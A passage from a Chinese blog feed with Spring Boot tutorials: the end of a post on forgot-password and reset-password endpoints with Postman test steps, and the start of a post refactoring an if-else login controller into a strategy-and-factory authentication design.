Result&lt;String&gt; <span class="title function_">forgotPassword</span><span class="params">(<span class="meta">@Valid</span> <span class="meta">@RequestBody</span> ForgotPasswordRequest request)</span> &#123;</span><br><span class="line">        log.info(<span class="string">&quot;收到找回密码请求: email=&#123;&#125;&quot;</span>, request.getEmail());</span><br><span class="line"></span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            userService.forgotPassword(request);</span><br><span class="line">            <span class="keyword">return</span> Result.ok(<span class="string">&quot;重置密码邮件已发送,请查收邮件&quot;</span>);</span><br><span class="line">        &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">            log.error(<span class="string">&quot;找回密码失败&quot;</span>, e);</span><br><span class="line">            <span class="keyword">return</span> Result.fail(e.getMessage());</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 重置密码接口</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> request 重置密码请求</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span> 统一响应格式</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@PostMapping(&quot;/reset-password&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> Result&lt;String&gt; <span class="title function_">resetPassword</span><span class="params">(<span class="meta">@Valid</span> <span class="meta">@RequestBody</span> ResetPasswordRequest request)</span> &#123;</span><br><span class="line">        log.info(<span class="string">&quot;收到重置密码请求: userId=&#123;&#125;&quot;</span>, request.getUserId());</span><br><span class="line"></span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            userService.resetPassword(request);</span><br><span class="line">            <span class="keyword">return</span> Result.ok(<span class="string">&quot;密码重置成功,请使用新密码登录&quot;</span>);</span><br><span class="line">        &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">            log.error(<span class="string">&quot;重置密码失败&quot;</span>, e);</span><br><span class="line">            <span class="keyword">return</span> Result.fail(e.getMessage());</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><hr><h3 id="Postman-测试-3">Postman 测试</h3><p><strong>步骤 1:生成验证码</strong></p><ul><li><strong>方法</strong>:<code>GET</code></li><li><strong>URL</strong>:<code>http://localhost:8080/captcha/generate</code></li></ul><p><strong>步骤 2:找回密码(发送重置密码邮件)</strong></p><ul><li><strong>方法</strong>:<code>POST</code></li><li><strong>URL</strong>:<code>http://localhost:8080/auth/forgot-password</code></li><li><strong>Body</strong>:</li></ul><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">  <span class="attr">&quot;email&quot;</span><span class="punctuation">:</span> <span class="string">&quot;test@example.com&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;captchaKey&quot;</span><span class="punctuation">:</span> <span class="string">&quot;a1b2c3d4e5f6g7h8&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;captchaCode&quot;</span><span class="punctuation">:</span> <span class="string">&quot;ABCD&quot;</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p><strong>响应示例</strong>:</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">  <span class="attr">&quot;code&quot;</span><span class="punctuation">:</span> <span class="number">200</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;message&quot;</span><span class="punctuation">:</span> <span class="string">&quot;操作成功&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;data&quot;</span><span class="punctuation">:</span> <span class="string">&quot;重置密码邮件已发送,请查收邮件&quot;</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p><strong>步骤 3:查收重置密码邮件</strong></p><p>登录邮箱,查看重置密码邮件,点击重置密码链接。</p><p><strong>步骤 4:重置密码</strong></p><ul><li><strong>方法</strong>:<code>POST</code></li><li><strong>URL</strong>:<code>http://localhost:8080/auth/reset-password</code></li><li><strong>Body</strong>:</li></ul><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">  <span class="attr">&quot;userId&quot;</span><span class="punctuation">:</span> <span class="number">1748392847362</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;timestamp&quot;</span><span class="punctuation">:</span> <span class="number">1735372800000</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;sign&quot;</span><span class="punctuation">:</span> <span class="string">&quot;a1b2c3d4e5f6g7h8&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;newPassword&quot;</span><span class="punctuation">:</span> <span class="string">&quot;NewPass1234&quot;</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p><strong>响应示例</strong>:</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">  <span class="attr">&quot;code&quot;</span><span class="punctuation">:</span> <span class="number">200</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;message&quot;</span><span class="punctuation">:</span> <span class="string">&quot;操作成功&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;data&quot;</span><span class="punctuation">:</span> <span class="string">&quot;密码重置成功,请使用新密码登录&quot;</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p><strong>步骤 5:使用新密码登录</strong></p><ul><li><strong>方法</strong>:<code>POST</code></li><li><strong>URL</strong>:<code>http://localhost:8080/auth/login</code></li><li><strong>Body</strong>:</li></ul><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">  <span class="attr">&quot;authType&quot;</span><span class="punctuation">:</span> <span class="string">&quot;PASSWORD&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;username&quot;</span><span class="punctuation">:</span> <span class="string">&quot;testuser&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;password&quot;</span><span class="punctuation">:</span> <span class="string">&quot;NewPass1234&quot;</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p><strong>响应示例</strong>:</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">  <span class="attr">&quot;code&quot;</span><span class="punctuation">:</span> <span class="number">200</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;message&quot;</span><span class="punctuation">:</span> <span class="string">&quot;操作成功&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;data&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">    <span class="attr">&quot;tokenName&quot;</span><span class="punctuation">:</span> <span class="string">&quot;Authorization&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;tokenValue&quot;</span><span class="punctuation">:</span> <span class="string">&quot;f6a1c2d3-4e5f-6789-abcd-ef0123456789&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;loginId&quot;</span><span class="punctuation">:</span> <span class="number">1748392847362</span></span><br><span class="line">  <span class="punctuation">&#125;</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure></div>]]>
    </content>
    <id>https://blog.prorisehub.com/posts/42423.html</id>
    <link href="https://blog.prorisehub.com/posts/42423.html"/>
    <published>2026-03-02T20:17:45.000Z</published>
    <summary>
      <![CDATA[<div id="postchat_postcontent"><h1>Note 19.3. 账号密码登录:领域模型设计与完整实现</h1>
<blockquote>
<p>重要说明:本章是在 <strong>19.2 已搭建完成的]]>
    </summary>
    <title>Note 19（第三章）. SpringBoot3-账号密码登录：领域模型设计与完整实现</title>
    <updated>2026-05-07T03:10:51.037Z</updated>
  </entry>
  <entry>
    <author>
      <name>Prorise</name>
    </author>
    <category term="后端技术" scheme="https://blog.prorisehub.com/categories/%E5%90%8E%E7%AB%AF%E6%8A%80%E6%9C%AF/"/>
    <category term="Java" scheme="https://blog.prorisehub.com/categories/%E5%90%8E%E7%AB%AF%E6%8A%80%E6%9C%AF/Java/"/>
    <category term="Spring系列" scheme="https://blog.prorisehub.com/categories/%E5%90%8E%E7%AB%AF%E6%8A%80%E6%9C%AF/Java/Spring%E7%B3%BB%E5%88%97/"/>
    <category term="登录注册系列" scheme="https://blog.prorisehub.com/categories/%E5%90%8E%E7%AB%AF%E6%8A%80%E6%9C%AF/Java/Spring%E7%B3%BB%E5%88%97/%E7%99%BB%E5%BD%95%E6%B3%A8%E5%86%8C%E7%B3%BB%E5%88%97/"/>
    <category term="Spring生态篇" scheme="https://blog.prorisehub.com/tags/Spring%E7%94%9F%E6%80%81%E7%AF%87/"/>
    <content>
      <![CDATA[<div id="postchat_postcontent"><h1>Note 19.2. 逻辑引擎：基于策略模式的认证工厂</h1><h2 id="19-2-1-问题引入">19.2.1. 问题引入</h2><p>在开始设计认证工厂之前,我们需要先理解一个问题:<strong>为什么不能用 if-else 实现多种登录方式?</strong></p><h3 id="场景模拟-五种登录方式的传统实现">场景模拟:五种登录方式的传统实现</h3><p>假设我们现在要支持 5 种登录方式:</p><ol><li><strong>账号密码登录</strong>:用户输入用户名和密码</li><li><strong>手机验证码登录</strong>:用户输入手机号和验证码</li><li><strong>微信扫码登录</strong>:用户扫描二维码,微信返回授权码</li><li><strong>GitHub OAuth2 登录</strong>:用户授权后,GitHub 返回授权码</li><li><strong>Google OAuth2 登录</strong>:用户授权后,Google 返回授权码</li></ol><p>在没有设计模式的情况下,我们的 Controller 会是这样的:</p><p><strong>📄 文件路径</strong>:<code>auth-web/src/main/java/com/example/auth/web/controller/AuthController.java</code>(传统写法)</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="meta">@RequestMapping(&quot;/auth&quot;)</span></span><br><span class="line"><span class="meta">@RequiredArgsConstructor</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">AuthController</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> UserService userService;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> SmsService smsService;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> WechatService wechatService;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> GithubService githubService;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> GoogleService googleService;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@PostMapping(&quot;/login&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> Result&lt;AuthToken&gt; <span class="title function_">login</span><span class="params">(<span class="meta">@RequestBody</span> Map&lt;String, Object&gt; request)</span> &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">type</span> <span class="operator">=</span> (String) request.get(<span class="string">&quot;type&quot;</span>);</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">if</span> (<span class="string">&quot;password&quot;</span>.equals(type)) &#123;</span><br><span class="line">            <span class="comment">// ==== 账号密码登录逻辑(约 50 行代码) ====</span></span><br><span class="line">            <span class="type">String</span> <span class="variable">username</span> <span class="operator">=</span> (String) request.get(<span class="string">&quot;username&quot;</span>);</span><br><span class="line">            <span class="type">String</span> <span class="variable">password</span> <span class="operator">=</span> (String) request.get(<span class="string">&quot;password&quot;</span>);</span><br><span class="line">            </span><br><span class="line">            <span class="comment">// 1. 查询用户</span></span><br><span class="line">            <span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> userService.getByUsername(username);</span><br><span class="line">            <span class="keyword">if</span> (user == <span class="literal">null</span>) &#123;</span><br><span class="line">                <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">RuntimeException</span>(<span class="string">&quot;用户名或密码错误&quot;</span>);</span><br><span class="line">            &#125;</span><br><span class="line">            </span><br><span class="line">            <span class="comment">// 2. 检查账号状态</span></span><br><span class="line">            <span class="keyword">if</span> (user.getStatus() == <span class="number">0</span>) &#123;</span><br><span class="line">                <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">RuntimeException</span>(<span class="string">&quot;账号已被禁用&quot;</span>);</span><br><span class="line">            &#125;</span><br><span class="line">            </span><br><span class="line">            <span class="comment">// 3. 验证密码</span></span><br><span class="line">            <span class="keyword">if</span> (!passwordEncoder.matches(password, user.getPassword())) &#123;</span><br><span class="line">                <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">RuntimeException</span>(<span class="string">&quot;用户名或密码错误&quot;</span>);</span><br><span class="line">            &#125;</span><br><span class="line">            </span><br><span class="line">            <span class="comment">// 4. Sa-Token 登录</span></span><br><span class="line">            StpUtil.login(user.getId());</span><br><span class="line">            <span class="keyword">return</span> Result.ok(buildAuthToken());</span><br><span class="line">            </span><br><span class="line">        &#125; <span class="keyword">else</span> <span class="keyword">if</span> (<span class="string">&quot;sms&quot;</span>.equals(type)) &#123;</span><br><span class="line">            <span class="comment">// ==== 手机验证码登录逻辑(约 50 行代码) ====</span></span><br><span class="line">            <span class="type">String</span> <span class="variable">phone</span> <span class="operator">=</span> (String) request.get(<span class="string">&quot;phone&quot;</span>);</span><br><span class="line">            <span class="type">String</span> <span class="variable">code</span> <span class="operator">=</span> (String) request.get(<span class="string">&quot;code&quot;</span>);</span><br><span class="line">            </span><br><span class="line">            <span class="comment">// 1. 验证验证码</span></span><br><span class="line">            <span class="keyword">if</span> (!smsService.verifyCode(phone, code)) &#123;</span><br><span class="line">                <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">RuntimeException</span>(<span class="string">&quot;验证码错误或已过期&quot;</span>);</span><br><span class="line">            &#125;</span><br><span class="line">            </span><br><span class="line">            <span class="comment">// 2. 查询或创建用户</span></span><br><span class="line">            <span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> userService.getByPhone(phone);</span><br><span class="line">            <span class="keyword">if</span> (user == <span class="literal">null</span>) &#123;</span><br><span class="line">                user = userService.createByPhone(phone);</span><br><span class="line">            &#125;</span><br><span class="line">            </span><br><span class="line">            <span class="comment">// 3. Sa-Token 登录</span></span><br><span class="line">            StpUtil.login(user.getId());</span><br><span class="line">            <span class="keyword">return</span> Result.ok(buildAuthToken());</span><br><span class="line">            </span><br><span class="line">        &#125; <span class="keyword">else</span> <span class="keyword">if</span> (<span class="string">&quot;wechat&quot;</span>.equals(type)) &#123;</span><br><span class="line">            <span class="comment">// ==== 微信扫码登录逻辑(约 50 行代码) ====</span></span><br><span class="line">            <span class="type">String</span> <span class="variable">code</span> <span class="operator">=</span> (String) request.get(<span class="string">&quot;code&quot;</span>);</span><br><span class="line">            </span><br><span class="line">            <span class="comment">// 1. 调用微信 API 获取 openId</span></span><br><span class="line">            <span class="type">String</span> <span class="variable">openId</span> <span class="operator">=</span> wechatService.getOpenId(code);</span><br><span class="line">            </span><br><span class="line">            <span class="comment">// 2. 查询或创建用户</span></span><br><span class="line">            <span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> userService.getByWechatOpenId(openId);</span><br><span class="line">            <span class="keyword">if</span> (user == <span class="literal">null</span>) &#123;</span><br><span class="line">                user = userService.createByWechatOpenId(openId);</span><br><span class="line">            &#125;</span><br><span class="line">            </span><br><span class="line">            <span class="comment">// 3. Sa-Token 登录</span></span><br><span class="line">            StpUtil.login(user.getId());</span><br><span class="line">            <span class="keyword">return</span> Result.ok(buildAuthToken());</span><br><span class="line">            </span><br><span class="line">        &#125; <span class="keyword">else</span> <span class="keyword">if</span> (<span class="string">&quot;github&quot;</span>.equals(type)) &#123;</span><br><span class="line">            <span class="comment">// ==== GitHub OAuth2 登录逻辑(约 50 行代码) ====</span></span><br><span class="line">            <span class="type">String</span> <span class="variable">code</span> <span class="operator">=</span> (String) request.get(<span class="string">&quot;code&quot;</span>);</span><br><span class="line">            </span><br><span class="line">            <span class="comment">// 1. 调用 GitHub API 获取 access_token</span></span><br><span class="line">            <span class="type">String</span> <span class="variable">accessToken</span> <span class="operator">=</span> githubService.getAccessToken(code);</span><br><span class="line">            </span><br><span class="line">            <span class="comment">// 2. 调用 GitHub API 获取用户信息</span></span><br><span class="line">            <span class="type">GithubUser</span> <span class="variable">githubUser</span> <span class="operator">=</span> githubService.getUserInfo(accessToken);</span><br><span class="line">            </span><br><span class="line">            <span class="comment">// 3. 查询或创建用户</span></span><br><span class="line">            <span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> userService.getByGithubId(githubUser.getId());</span><br><span class="line">            <span class="keyword">if</span> (user == <span class="literal">null</span>) &#123;</span><br><span class="line">                user = userService.createByGithubUser(githubUser);</span><br><span class="line">            &#125;</span><br><span class="line">            </span><br><span class="line">            <span class="comment">// 4. Sa-Token 登录</span></span><br><span class="line">            StpUtil.login(user.getId());</span><br><span class="line">            <span class="keyword">return</span> Result.ok(buildAuthToken());</span><br><span class="line">            </span><br><span class="line">        &#125; <span class="keyword">else</span> <span class="keyword">if</span> (<span class="string">&quot;google&quot;</span>.equals(type)) &#123;</span><br><span class="line">            <span class="comment">// ==== Google OAuth2 登录逻辑(约 50 行代码) ====</span></span><br><span class="line">            <span class="type">String</span> <span class="variable">code</span> <span class="operator">=</span> (String) request.get(<span class="string">&quot;code&quot;</span>);</span><br><span class="line">            </span><br><span class="line">            <span class="comment">// 1. 调用 Google API 获取 access_token</span></span><br><span class="line">            <span class="type">String</span> <span class="variable">accessToken</span> <span class="operator">=</span> googleService.getAccessToken(code);</span><br><span class="line">            </span><br><span class="line">            <span class="comment">// 2. 调用 Google API 获取用户信息</span></span><br><span class="line">            <span class="type">GoogleUser</span> <span class="variable">googleUser</span> <span class="operator">=</span> googleService.getUserInfo(accessToken);</span><br><span class="line">            </span><br><span class="line">            <span class="comment">// 3. 查询或创建用户</span></span><br><span class="line">            <span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> userService.getByGoogleId(googleUser.getId());</span><br><span class="line">            <span class="keyword">if</span> (user == <span class="literal">null</span>) &#123;</span><br><span class="line">                user = userService.createByGoogleUser(googleUser);</span><br><span class="line">            &#125;</span><br><span class="line">            </span><br><span class="line">            <span class="comment">// 4. Sa-Token 登录</span></span><br><span class="line">            StpUtil.login(user.getId());</span><br><span class="line">            <span class="keyword">return</span> Result.ok(buildAuthToken());</span><br><span class="line">            </span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">RuntimeException</span>(<span class="string">&quot;不支持的登录方式: &quot;</span> + type);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> AuthToken <span class="title function_">buildAuthToken</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> AuthToken.builder()</span><br><span class="line">            .tokenName(StpUtil.getTokenName())</span><br><span class="line">            .tokenValue(StpUtil.getTokenValue())</span><br><span class="line">            .loginId(StpUtil.getLoginIdAsLong())</span><br><span class="line">            .build();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="传统写法的五大致命问题">传统写法的五大致命问题</h3><p><strong>问题一:代码膨胀</strong></p><p>这个 Controller 的 <code>login</code> 方法已经超过 <strong>250 行代码</strong>。如果再加上异常处理、日志记录、参数校验,代码量会超过 <strong>400 行</strong>。</p><p>想象一下,当你需要修改某个登录方式的逻辑时,你需要在这 400 行代码中找到对应的 if-else 分支,然后小心翼翼地修改,生怕影响到其他分支。这种体验就像在一个巨大的迷宫中寻找出口。</p><p><strong>问题二:违反开闭原则</strong></p><p>当我们需要新增一个登录方式(如 “Apple 登录”)时,必须修改 <code>AuthController</code> 的代码,增加一个新的 <code>else if</code> 分支。这违反了开闭原则(Open-Closed Principle):<strong>对扩展开放,对修改关闭</strong>。</p><p>在传统写法中,每次新增登录方式都需要修改 Controller,这意味着:</p><ul><li>需要重新测试所有登录方式(因为修改了 Controller)</li><li>可能引入新的 Bug(因为修改了现有代码)</li><li>代码越来越臃肿(每次新增都会增加 50+ 行代码)</li></ul><p><strong>问题三:难以测试</strong></p><p>我们无法单独测试某个登录方式的逻辑。如果要测试 “微信登录”,必须:</p><ol><li>启动整个 Spring Boot 应用</li><li>模拟所有依赖(UserService、WechatService 等)</li><li>构造完整的 HTTP 请求</li><li>验证响应结果</li></ol><p>这种测试方式效率极低,而且容易受到其他登录方式的干扰。</p><p><strong>问题四:职责不清</strong></p><p>Controller 层不应该包含业务逻辑。它的职责应该是:</p><ul><li>接收请求</li><li>参数校验</li><li>调用 Service 层</li><li>返回响应</li></ul><p>但现在 Controller 层包含了大量的业务逻辑(密码验证、用户创建、Token 生成等),违反了单一职责原则(Single Responsibility Principle)。</p><p>在传统写法中,Controller 承担了太多职责:</p><ul><li>路由分发(根据 type 选择登录方式)</li><li>参数解析(从 Map 中提取参数)</li><li>业务逻辑(验证密码、调用第三方 API)</li><li>异常处理(捕获并转换异常)</li></ul><p><strong>问题五:无法动态管理</strong></p><p>我们无法在运行时动态禁用某个登录方式。如果要禁用 “微信登录”,必须:</p><ol><li>修改代码(注释掉对应的 if-else 分支)</li><li>重新编译</li><li>重新部署</li></ol><p>这在生产环境中是不可接受的。想象一下,如果微信登录接口出现故障,我们需要紧急禁用这个功能,但却需要重新部署整个应用,这会导致服务中断。</p><h3 id="解决方案-策略模式-工厂模式">解决方案:策略模式 + 工厂模式</h3><p>我们需要一个更优雅的设计:</p><ul><li><strong>策略模式</strong>:将每种登录方式封装为一个独立的策略类</li><li><strong>工厂模式</strong>:使用工厂类根据登录类型自动选择对应的策略</li></ul><p><strong>架构对比</strong>:</p><table><thead><tr><th style="text-align:left">对比维度</th><th style="text-align:left">传统 if-else</th><th style="text-align:left">策略模式 + 工厂模式</th></tr></thead><tbody><tr><td style="text-align:left">Controller 代码量</td><td style="text-align:left">250+ 行</td><td style="text-align:left">10 行</td></tr><tr><td style="text-align:left">新增登录方式</td><td style="text-align:left">修改 Controller</td><td style="text-align:left">只需实现 <code>AuthStrategy</code> 接口</td></tr><tr><td style="text-align:left">可测试性</td><td style="text-align:left">难以单独测试</td><td style="text-align:left">可以单独测试每个策略</td></tr><tr><td style="text-align:left">职责分离</td><td style="text-align:left">Controller 包含业务逻辑</td><td style="text-align:left">Controller 只负责调度</td></tr><tr><td style="text-align:left">动态管理</td><td style="text-align:left">不支持</td><td style="text-align:left">支持(配置化管理)</td></tr><tr><td style="text-align:left">符合设计原则</td><td style="text-align:left">❌ 违反开闭原则、单一职责原则</td><td style="text-align:left">✅ 符合开闭原则、单一职责原则</td></tr></tbody></table><p>在接下来的章节中,我们将一步步构建这个认证工厂,让你亲眼见证代码从 250 行减少到 10 行的过程。</p><hr><h2 id="19-2-2-架构设计">19.2.2. 架构设计</h2><p>在上一节中，我们已经看到了传统 if-else 登录的五大致命问题。现在，让我们设计一个更优雅的解决方案。</p><p>在开始编写代码之前，我们需要先设计整个认证工厂的架构。这就像盖房子之前要先画设计图一样，架构设计决定了代码的可维护性和可扩展性。</p><h3 id="核心设计理念">核心设计理念</h3><p>我们的认证工厂基于三个核心理念：</p><table><thead><tr><th>理念</th><th>类比</th><th>系统实现</th></tr></thead><tbody><tr><td><strong>统一入口</strong></td><td>机场安检口：无论国内航班还是国际航班，都从同一个入口进入，然后根据航班类型被引导到不同的登机口</td><td>- 统一入口：<code>AuthController</code> 的 <code>/auth/login</code> 接口<br>- 多态分发：<code>AuthStrategyFactory</code> 根据 <code>authType</code> 选择对应的策略</td></tr><tr><td><strong>策略独立</strong></td><td>餐厅的不同厨师：川菜师傅和粤菜师傅各司其职，互不干扰</td><td>- 账号密码登录：<code>PasswordAuthStrategy</code><br>- 手机验证码登录：<code>SmsAuthStrategy</code><br>- 微信扫码登录：<code>WechatAuthStrategy</code><br>- 每个策略类只负责自己的验证逻辑，不需要知道其他策略的存在</td></tr><tr><td><strong>工厂管理</strong></td><td>公司的人力资源部门：自动发现和管理所有员工，不需要手动登记</td><td>- <code>AuthStrategyFactory</code> 在启动时自动扫描所有实现了 <code>AuthStrategy</code> 接口的 Bean<br>- 将这些策略注册到 <code>Map&lt;AuthType, AuthStrategy&gt;</code> 中<br>- 后续根据 <code>authType</code> 自动选择对应的策略</td></tr></tbody></table><h3 id="架构全景图">架构全景图</h3><p>让我们先看一下整个认证工厂的架构全景图：</p><p><img src="https://prorise-blog.oss-cn-guangzhou.aliyuncs.com/cover/mermaid-diagram-2025-12-28-201205.png" alt="mermaid-diagram-2025-12-28-201205"></p><p><strong>架构说明</strong>：</p><p>从上到下，整个系统分为六层：</p><p><strong>第一层：客户端层</strong></p><ul><li>前端应用（Web、移动端、小程序等）发送登录请求</li><li>请求中必须包含 <code>authType</code> 字段，标识登录方式</li></ul><p><strong>第二层：接入层</strong></p><ul><li><code>AuthController</code> 接收请求，这是系统的统一入口</li><li>Controller 不包含任何业务逻辑，只负责接收请求和返回响应</li></ul><p><strong>第三层：工厂层</strong></p><ul><li><code>AuthStrategyFactory</code> 根据 <code>authType</code> 选择对应的策略</li><li>这是整个系统的 “中枢神经”，负责策略的管理和分发</li></ul><p><strong>第四层：策略层</strong></p><ul><li>每种登录方式都是一个独立的策略类</li><li>策略类只负责验证身份，返回用户 ID</li></ul><p><strong>第五层：服务层</strong></p><ul><li>策略类调用各种服务完成业务逻辑</li><li>如 <code>UserService</code>（查询用户）、<code>SmsService</code>（验证验证码）、<code>WechatService</code>（调用微信 API）</li></ul><p><strong>第六层：数据层</strong></p><ul><li>MySQL 存储用户数据</li><li>Redis 存储会话信息（由 Sa-Token 管理）</li></ul><h3 id="请求流转时序图">请求流转时序图</h3><p>现在让我们看一下一个完整的登录请求是如何在系统中流转的：</p><p><img 